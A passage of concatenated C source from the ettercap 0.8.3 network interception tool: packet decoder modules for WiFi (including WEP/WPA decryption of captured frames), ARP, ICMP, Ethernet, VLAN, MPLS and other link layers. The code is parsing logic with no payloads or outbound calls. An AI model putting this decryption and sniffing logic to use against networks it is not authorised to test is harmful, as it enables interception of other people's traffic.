((DECODE_DATALEN - DECODED_LEN) > UINT16_MAX) { return NULL; } /* decrypt the packet */ if (wep_decrypt((u_char *)wep, DECODE_DATALEN - DECODED_LEN, EC_GBL_WIFI->wkey, EC_GBL_WIFI->wkey_len) != E_SUCCESS) return NULL; /* the wep header was overwritten, remove it from the decoded portion */ DECODED_LEN -= sizeof(struct wep_header); /* remove the encrypted bit from the header since the data are now decrypted */ wifi->control &= ~WIFI_ENCRYPTED; } if (wifi->control & WIFI_ENCRYPTED && enc_schema == WIFI_WPA && EC_GBL_WIFI->wifi_schema == WIFI_WPA) { struct wpa_sa sa; DEBUG_MSG("%s: encrypted packet wpa", __FUNCTION__); /* * get the SA for this STA (search for source or dest mac address) * if we don't have a valid SA there is no way to decrypt the packet. * the SA is calculated from the 4-way handshake into the EAPOL packets */ if (wpa_sess_get(PACKET->L2.src, &sa) == E_SUCCESS || wpa_sess_get(PACKET->L2.dst, &sa) == E_SUCCESS) { /* get the WPA header (CCMP or TKIP initialization vector) */ wpa = (struct wpa_header *)wifi_end; DECODED_LEN += sizeof(struct wpa_header); if (DECODED_LEN >= DECODE_DATALEN) { return NULL; } if ((DECODE_DATALEN - DECODED_LEN) > UINT16_MAX) { return NULL; } /* decrypt the packet */ if (wpa_decrypt((u_char *)wifi, (u_char *)wpa, DECODE_DATALEN - DECODED_LEN, sa) != E_SUCCESS) { return NULL; } /* the wpa header was overwritten, remove it from the decoded portion */ DECODED_LEN -= sizeof(struct wpa_header); /* remove the encryption bit from the header since the data are now decrypted */ wifi->control &= ~WIFI_ENCRYPTED; } } /* if the packet is still encrypted, skip it */ if (wifi->control & WIFI_ENCRYPTED) { return NULL; } /* get the logical link layer header */ llc = (struct llc_header *)wifi_end; DECODED_LEN += sizeof(struct llc_header); /* "Organization Code" different from "Encapsulated Ethernet" not yet supported */ if (memcmp(llc->org_code, WIFI_ORG_CODE, 3)) { return NULL; } /* fill the packet object with sensitive data */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_WIFI; PACKET->L2.len = DECODED_LEN; /* HOOK POINT: HOOK_PACKET_WIFI */ hook_point(HOOK_PACKET_WIFI, po); /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(llc->proto)); EXECUTE_DECODER(next_decoder); /* no modification to wifi header should be done */ return NULL; } /* * alignment function */ FUNC_ALIGNER(align_wifi) { /* already aligned */ return (32 - sizeof(struct wifi_header) - sizeof(struct llc_header)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_cooked.c0000644000175000017500000000446313505247364020075 0ustar koeppeakoeppea/* ettercap -- Linux cooked decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ #define COOKED_LEN 16 #define PROTO_OFFSET 14 #define SENT_BY_US 4 /* protos */ FUNC_DECODER(decode_cook); FUNC_ALIGNER(align_cook); void cook_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init cook_init(void) { add_decoder(LINK_LAYER, IL_TYPE_COOK, decode_cook); add_aligner(IL_TYPE_COOK, align_cook); } FUNC_DECODER(decode_cook) { FUNC_DECODER_PTR(next_decoder); u_int16 proto; u_int16 pck_type; char bogus_mac[6]="\x00\x01\x00\x01\x00\x01"; DECODED_LEN = COOKED_LEN; proto = pntos(DECODE_DATA + PROTO_OFFSET); pck_type = pntos(DECODE_DATA); PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_COOK; PACKET->L2.len = DECODED_LEN; /* By default L2.src and L2.dst are NULL, so are equal to our * "mac address". According to packet type we set bogus source * or dest to help other decoders to guess if the packet is for us * (check_forwarded, set_forwardable_flag and so on) */ if (pck_type != SENT_BY_US) memcpy(PACKET->L2.src, bogus_mac, ETH_ADDR_LEN); else memcpy(PACKET->L2.dst, bogus_mac, ETH_ADDR_LEN); next_decoder = get_decoder(NET_LAYER, proto); EXECUTE_DECODER(next_decoder); return NULL; } /* * alignment function */ FUNC_ALIGNER(align_cook) { /* already aligned */ return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_icmp.c0000644000175000017500000000673213505247364017562 0ustar koeppeakoeppea/* ettercap -- ICMP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct icmp_header { u_int8 type; /* message type */ u_int8 code; /* type sub-code */ u_int16 csum; union { struct { u_int16 id; u_int16 sequence; } echo; /* echo datagram */ u_int32 gateway; /* gateway address (for redirect) */ struct { u_int16 unused; u_int16 mtu; } frag; /* path mtu discovery */ } un; }; /* protos */ FUNC_DECODER(decode_icmp); void icmp_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init icmp_init(void) { add_decoder(PROTO_LAYER, NL_TYPE_ICMP, decode_icmp); } FUNC_DECODER(decode_icmp) { FUNC_DECODER_PTR(next_decoder); struct icmp_header *icmp; u_int16 sum; icmp = (struct icmp_header *)DECODE_DATA; DECODED_LEN = sizeof(struct icmp_header); /* include the data in this level */ PACKET->L4.len = PACKET->L3.payload_len; /* fill the data */ PACKET->L4.header = (u_char *)DECODE_DATA; PACKET->L4.options = NULL; PACKET->L4.proto = NL_TYPE_ICMP; /* this is a lie... but we have to put this somewhere */ PACKET->L4.flags = icmp->type; /* * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum should be 0 ;) * * don't perform the check in unoffensive mode */ if (EC_GBL_CONF->checksum_check) { if (!EC_GBL_OPTIONS->unoffensive && (sum = L3_checksum(PACKET->L4.header, PACKET->L4.len)) != CSUM_RESULT) { char tmp[MAX_ASCII_ADDR_LEN]; if (EC_GBL_CONF->checksum_warning) USER_MSG("Invalid ICMP packet from %s : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(icmp->csum), checksum_shouldbe(icmp->csum, sum)); return NULL; } } /* * if the host is sending strange * ICMP messages, it might be a router */ switch (icmp->type) { case ICMP_DEST_UNREACH: switch (icmp->code) { case ICMP_NET_UNREACH: case ICMP_HOST_UNREACH: PACKET->PASSIVE.flags |= FP_ROUTER; break; } break; case ICMP_REDIRECT: case ICMP_TIME_EXCEEDED: PACKET->PASSIVE.flags |= FP_ROUTER; break; } /* HOOK POINT: HOOK_PACKET_ICMP */ hook_point(HOOK_PACKET_ICMP, po); /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_vlan.c0000644000175000017500000000347713505247364017575 0ustar koeppeakoeppea/* ettercap -- VLAN (802.1q) decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct vlan_header { u_int16 vlan; /* vlan identifier */ u_int16 proto; /* packet type ID field */ }; /* protos */ FUNC_DECODER(decode_vlan); void vlan_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init vlan_init(void) { add_decoder(NET_LAYER, LL_TYPE_VLAN, decode_vlan); } FUNC_DECODER(decode_vlan) { FUNC_DECODER_PTR(next_decoder); struct vlan_header *vlan; DECODED_LEN = sizeof(struct vlan_header); vlan = (struct vlan_header *)DECODE_DATA; /* HOOK POINT : HOOK_PACKET_VLAN */ hook_point(HOOK_PACKET_VLAN, po); po->L2.len += sizeof(struct vlan_header); /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(vlan->proto)); EXECUTE_DECODER(next_decoder); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_mpls.c0000644000175000017500000000403413505247364017576 0ustar koeppeakoeppea/* ettercap -- MPLS decoder module Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct mpls_header { u_int32 shim; /* * 20 bit for the label * 3 bit for priority * 1 bit for stack bit (1 is the end of the stack, 0 is in the stack: other mpls headers) * 8 bit for time to live */ }; /* protos */ FUNC_DECODER(decode_mpls); void mpls_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init mpls_init(void) { add_decoder(NET_LAYER, LL_TYPE_MPLS, decode_mpls); } FUNC_DECODER(decode_mpls) { FUNC_DECODER_PTR(next_decoder); struct mpls_header *mpls; DECODED_LEN = sizeof(struct mpls_header); mpls = (struct mpls_header *)DECODE_DATA; /* HOOK POINT : HOOK_PACKET_mpls */ hook_point(HOOK_PACKET_MPLS, po); /* check the end of stack bit */ if (mpls->shim & 0x00010000) { /* leave the control to the IP decoder */ next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); } else { /* leave the control to the another MPLS header */ next_decoder = get_decoder(NET_LAYER, LL_TYPE_MPLS); } EXECUTE_DECODER(next_decoder); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_erf.c0000644000175000017500000000423713505247364017404 0ustar koeppeakoeppea/* ettercap -- ERF (endace) decoder module Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct erf_header { u_int32 timestamp1; u_int32 timestamp2; u_int8 type; u_int8 flags; u_int16 rlen; u_int16 color; u_int16 wlen; }; /* protos */ FUNC_DECODER(decode_erf); FUNC_ALIGNER(align_erf); void erf_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init erf_init(void) { add_decoder(LINK_LAYER, IL_TYPE_ERF, decode_erf); add_aligner(IL_TYPE_ERF, align_erf); } FUNC_DECODER(decode_erf) { FUNC_DECODER_PTR(next_decoder); struct erf_header *erf; DECODED_LEN = sizeof(struct erf_header); erf = (struct erf_header *)DECODE_DATA; /* check presence of extension header */ if (erf->type & 0x80) { // "ERF Extension header not supported" return NULL; } /* HOOK POINT : HOOK_PACKET_ERF */ hook_point(HOOK_PACKET_ERF, po); /* ethernet packets */ if (erf->type == 0x02) { /* remove the padding */ DECODED_LEN += 2; /* leave the control to the ethernet decoder */ next_decoder = get_decoder(LINK_LAYER, IL_TYPE_ETH); EXECUTE_DECODER(next_decoder); } return NULL; } /* * alignment function */ FUNC_ALIGNER(align_erf) { return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_arp.c0000644000175000017500000000754313505247364017415 0ustar koeppeakoeppea/* ettercap -- ARP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /* globals */ struct arp_header { u_int16 ar_hrd; /* Format of hardware address. */ u_int16 ar_pro; /* Format of protocol address. */ u_int8 ar_hln; /* Length of hardware address. */ u_int8 ar_pln; /* Length of protocol address. */ u_int16 ar_op; /* ARP opcode (command). */ #define ARPOP_REQUEST 1 /* ARP request. */ #define ARPOP_REPLY 2 /* ARP reply. */ #define ARPOP_RREQUEST 3 /* RARP request. */ #define ARPOP_RREPLY 4 /* RARP reply. */ }; struct arp_eth_header { u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ }; /* protos */ FUNC_DECODER(decode_arp); void arp_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init arp_init(void) { add_decoder(NET_LAYER, LL_TYPE_ARP, decode_arp); } FUNC_DECODER(decode_arp) { struct arp_header *arp; /* don't complain about unused var */ (void) DECODE_DATALEN; arp = (struct arp_header *)DECODE_DATA; /* * size of the whole packet is the size of the * header + size of the hard address + proto address * for the sender and the target */ DECODED_LEN = sizeof(struct arp_header) + 2 * (arp->ar_hln + arp->ar_pln); PACKET->L3.len = DECODED_LEN; PACKET->L3.header = (u_char *)DECODE_DATA; PACKET->L3.options = NULL; PACKET->L3.proto = htons(LL_TYPE_ARP); /* ARP discovered hosts are always local ;) */ PACKET->PASSIVE.flags |= FP_HOST_LOCAL; if (arp->ar_hln == MEDIA_ADDR_LEN && arp->ar_pln == IP_ADDR_LEN) { struct arp_eth_header *earp; earp = (struct arp_eth_header *)(arp + 1); ip_addr_init(&PACKET->L3.src, AF_INET, (u_char *)&earp->arp_spa); ip_addr_init(&PACKET->L3.dst, AF_INET, (u_char *)&earp->arp_tpa); /* * for ARP packets we can overwrite the L2 addresses with the * information within the ARP header */ memcpy(PACKET->L2.src, (char *)&earp->arp_sha, MEDIA_ADDR_LEN); memcpy(PACKET->L2.dst, (char *)&earp->arp_tha, MEDIA_ADDR_LEN); /* * HOOK POINT: HOOK_PACKET_ARP * differentiate between REQUEST and REPLY */ if (ntohs(arp->ar_op) == ARPOP_REQUEST) hook_point(HOOK_PACKET_ARP_RQ, po); else if (ntohs(arp->ar_op) == ARPOP_REPLY) hook_point(HOOK_PACKET_ARP_RP, po); /* ARP packets are always local (our machine is at distance 0) */ if (!ip_addr_cmp(&po->L3.src, &EC_GBL_IFACE->ip)) PACKET->L3.ttl = 0; else PACKET->L3.ttl = 1; /* HOOK_PACKET_ARP is for all type of arp, no distinctions */ hook_point(HOOK_PACKET_ARP, po); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_tr.c0000644000175000017500000000662013505247364017253 0ustar koeppeakoeppea/* ettercap -- TOKEN RING decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct token_ring_header { u_int8 access_control; #define TR_FRAME 0x10 u_int8 frame_control; #define TR_LLC_FRAME 0x40 u_int8 dha[TR_ADDR_LEN]; u_int8 sha[TR_ADDR_LEN]; u_int8 llc_dsap; u_int8 llc_ssap; u_int8 llc_control; u_int8 llc_org_code[3]; u_int16 proto; }; /* encapsulated ethernet */ u_int8 TR_ORG_CODE[3] = {0x00, 0x00, 0x00}; /* protos */ FUNC_DECODER(decode_tr); FUNC_BUILDER(build_tr); FUNC_ALIGNER(align_tr); void tr_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init tr_init(void) { add_decoder(LINK_LAYER, IL_TYPE_TR, decode_tr); add_builder(IL_TYPE_TR, build_tr); add_aligner(IL_TYPE_TR, align_tr); } FUNC_DECODER(decode_tr) { FUNC_DECODER_PTR(next_decoder); struct token_ring_header *tr; DECODED_LEN = sizeof(struct token_ring_header); tr = (struct token_ring_header *)DECODE_DATA; /* org_code != encapsulated ethernet not yet supported */ if (memcmp(tr->llc_org_code, TR_ORG_CODE, 3)) NOT_IMPLEMENTED(); /* fill the packet object with sensitive data */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_TR; PACKET->L2.len = DECODED_LEN; memcpy(PACKET->L2.src, tr->sha, TR_ADDR_LEN); memcpy(PACKET->L2.dst, tr->dha, TR_ADDR_LEN); /* HOOK POINT : HOOK_PACKET_tr */ hook_point(HOOK_PACKET_TR, po); /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(tr->proto)); EXECUTE_DECODER(next_decoder); /* token ring header does not care about modification of upper layer */ return NULL; } /* * function to create a token ring header */ FUNC_BUILDER(build_tr) { return libnet_autobuild_token_ring( LIBNET_TOKEN_RING_FRAME, LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ dst, /* token ring destination */ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ 0x03, /* Unnumbered info/frame */ TR_ORG_CODE, /* Organization Code */ proto, /* protocol type */ l); /* libnet handle */ } /* * alignment function */ FUNC_ALIGNER(align_tr) { return (24 - sizeof(struct token_ring_header)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_pppoe.c0000644000175000017500000000346513505247364017755 0ustar koeppeakoeppea/* ettercap -- PPP over Ethernet decoder module Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct pppoe_header { u_int8 version; u_int8 session; u_int16 id; u_int16 len; u_int16 proto; /* this is actually part of the PPP header */ }; /* protos */ FUNC_DECODER(decode_pppoe); void pppoe_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init pppoe_init(void) { add_decoder(NET_LAYER, LL_TYPE_PPPOE, decode_pppoe); } FUNC_DECODER(decode_pppoe) { FUNC_DECODER_PTR(next_decoder); struct pppoe_header *pppoe; DECODED_LEN = sizeof(struct pppoe_header); pppoe = (struct pppoe_header *)DECODE_DATA; /* HOOK POINT : HOOK_PACKET_pppoe */ hook_point(HOOK_PACKET_PPPOE, po); /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(pppoe->proto)); EXECUTE_DECODER(next_decoder); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_esp.c0000644000175000017500000000407013505247364017412 0ustar koeppeakoeppea/* ettercap -- ESP decoder module Copyright (C) CaptainMcSpankyPants This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct esp_header { uint32_t spi; /* Security Parameters Index */ uint32_t seq; /* Sequence Number */ }; /* protos */ FUNC_DECODER(decode_esp); void esp_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init esp_init(void) { add_decoder(PROTO_LAYER, NL_TYPE_ESP, decode_esp); } FUNC_DECODER(decode_esp) { FUNC_DECODER_PTR(next_decoder); struct esp_header *esp; esp = (struct esp_header *)DECODE_DATA; DECODED_LEN = sizeof(struct esp_header); /* L4 header definition */ PACKET->L4.proto = NL_TYPE_ESP; /* since ICMPv6 header has no such field */ PACKET->L4.len = PACKET->L3.payload_len; PACKET->L4.header = (u_char*)DECODE_DATA; PACKET->L4.options = NULL; PACKET->L4.optlen = 0; PACKET->L4.flags = 0; PACKET->DATA.data = ((u_char *)esp) + sizeof(struct esp_header); /* HOOK POINT: HOOK_PACKET_ESP */ hook_point(HOOK_PACKET_ESP, po); /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_wifi_radiotap.c0000644000175000017500000000512413505247364021445 0ustar koeppeakoeppea/* ettercap -- RadioTap header for WiFi packets Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include struct radiotap_header { u_int8 version; u_int8 pad; u_int16 len; u_int32 present_flags; #define RADIO_PRESENT_TSFT 0x01 #define RADIO_PRESENT_FLAGS 0x02 #define RADIO_PRESENT_RATE 0x04 #define RADIO_PRESENT_CHANNEL 0x08 }; #define RADIO_FLAGS_FCS 0x10 /* protos */ FUNC_DECODER(decode_radiotap); FUNC_ALIGNER(align_radiotap); void radiotap_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init radiotap_init(void) { add_decoder(LINK_LAYER, IL_TYPE_RADIO, decode_radiotap); add_aligner(IL_TYPE_RADIO, align_radiotap); } FUNC_DECODER(decode_radiotap) { FUNC_DECODER_PTR(next_decoder); struct radiotap_header *radio; u_char *rh; u_int8 flags = 0; /* get the header */ radio = (struct radiotap_header *)DECODE_DATA; rh = (u_char *)(radio + 1); /* get the length of the header */ DECODED_LEN = radio->len; /* * scan for the presence of the information * we are lucky since the FLAGS we are searching is the second field * and we don't have to scan for all of them */ if ((radio->present_flags & RADIO_PRESENT_TSFT)) { /* the TSFT is 1 byte */ rh += 1; } if ((radio->present_flags & RADIO_PRESENT_FLAGS)) { /* read the flags (1 byte) */ flags = *rh; } /* mark the packet, since we have an FCS at the end */ if ((flags & RADIO_FLAGS_FCS)) PACKET->L2.flags |= PO_L2_FCS; next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); EXECUTE_DECODER(next_decoder); return NULL; } /* * alignment function */ FUNC_ALIGNER(align_radiotap) { /* already aligned */ return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_ppi.c0000644000175000017500000000371213505247364017415 0ustar koeppeakoeppea/* ettercap -- per packet information processor Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include FUNC_DECODER(decode_ppi); FUNC_ALIGNER(align_ppi); void radiotap_init(void); /*******************************************/ void __init ppi_init(void) { add_decoder(LINK_LAYER, IL_TYPE_PPI, decode_ppi); add_aligner(IL_TYPE_PPI, align_ppi); } FUNC_DECODER(decode_ppi) { FUNC_DECODER_PTR(next_decoder); unsigned char* data = DECODE_DATA; if (PACKET->len <= 4) { // not enough data to be useful ppi return NULL; } if (data[0] != 0) { // unknown version field return NULL; } if (data[1] != 0) { // TODO handle unaligned data. What would this look like? return NULL; } uint16_t header_len = (data[3] << 8) | (data[2]); if (header_len >= PACKET->len) { // not enough data to be interesting return NULL; } char next_hop = data[4]; DECODED_LEN = header_len; next_decoder = get_decoder(LINK_LAYER, next_hop); EXECUTE_DECODER(next_decoder); return NULL; } /* * alignment function */ FUNC_ALIGNER(align_ppi) { return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_eth.c0000644000175000017500000000534613505247364017412 0ustar koeppeakoeppea/* ettercap -- ETH decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct eth_header { u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ u_int16 proto; /* packet type ID field */ }; /* protos */ FUNC_DECODER(decode_eth); FUNC_BUILDER(build_eth); FUNC_ALIGNER(align_eth); void eth_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init eth_init(void) { add_decoder(LINK_LAYER, IL_TYPE_ETH, decode_eth); add_builder(IL_TYPE_ETH, build_eth); add_aligner(IL_TYPE_ETH, align_eth); } FUNC_DECODER(decode_eth) { FUNC_DECODER_PTR(next_decoder); struct eth_header *eth; DECODED_LEN = sizeof(struct eth_header); eth = (struct eth_header *)DECODE_DATA; /* fill the packet object with sensitive data */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_ETH; PACKET->L2.len = DECODED_LEN; memcpy(PACKET->L2.src, eth->sha, ETH_ADDR_LEN); memcpy(PACKET->L2.dst, eth->dha, ETH_ADDR_LEN); /* HOOK POINT : HOOK_PACKET_ETH */ hook_point(HOOK_PACKET_ETH, po); /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(eth->proto)); EXECUTE_DECODER(next_decoder); /* eth header does not care about modification of upper layer */ return NULL; } /* * function to create an ethernet header */ FUNC_BUILDER(build_eth) { return libnet_autobuild_ethernet( dst, /* ethernet destination */ proto, /* protocol type */ l); /* libnet handle */ } /* * alignment function */ FUNC_ALIGNER(align_eth) { /* 16 is the nearest multiplier of 4 */ return (16 - sizeof(struct eth_header)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/ec_ip.c0000644000175000017500000003067213505247364017242 0ustar koeppeakoeppea/* ettercap -- IP decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* globals */ struct ip_header { #ifndef WORDS_BIGENDIAN u_int8 ihl:4; u_int8 version:4; #else u_int8 version:4; u_int8 ihl:4; #endif u_int8 tos; u_int16 tot_len; u_int16 id; u_int16 frag_off; #define IP_DF 0x4000 #define IP_MF 0x2000 #define IP_FRAG 0x1fff u_int8 ttl; u_int8 protocol; u_int16 csum; u_int32 saddr; u_int32 daddr; /*The options start here. */ }; /* Session data structure */ struct ip_status { u_int16 last_id; int16 id_adj; }; /* Ident structure for ip sessions */ struct ip_ident { u_int32 magic; #define IP_MAGIC 0x0300e77e struct ip_addr L3_src; }; #define IP_IDENT_LEN sizeof(struct ip_ident) /* protos */ FUNC_DECODER(decode_ip); FUNC_INJECTOR(inject_ip); FUNC_INJECTOR(stateless_ip); void ip_init(void); int ip_match(void *id_sess, void *id_curr); void ip_create_session(struct ec_session **s, struct packet_object *po); size_t ip_create_ident(void **i, struct packet_object *po); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ip_init(void) { add_decoder(NET_LAYER, LL_TYPE_IP, decode_ip); 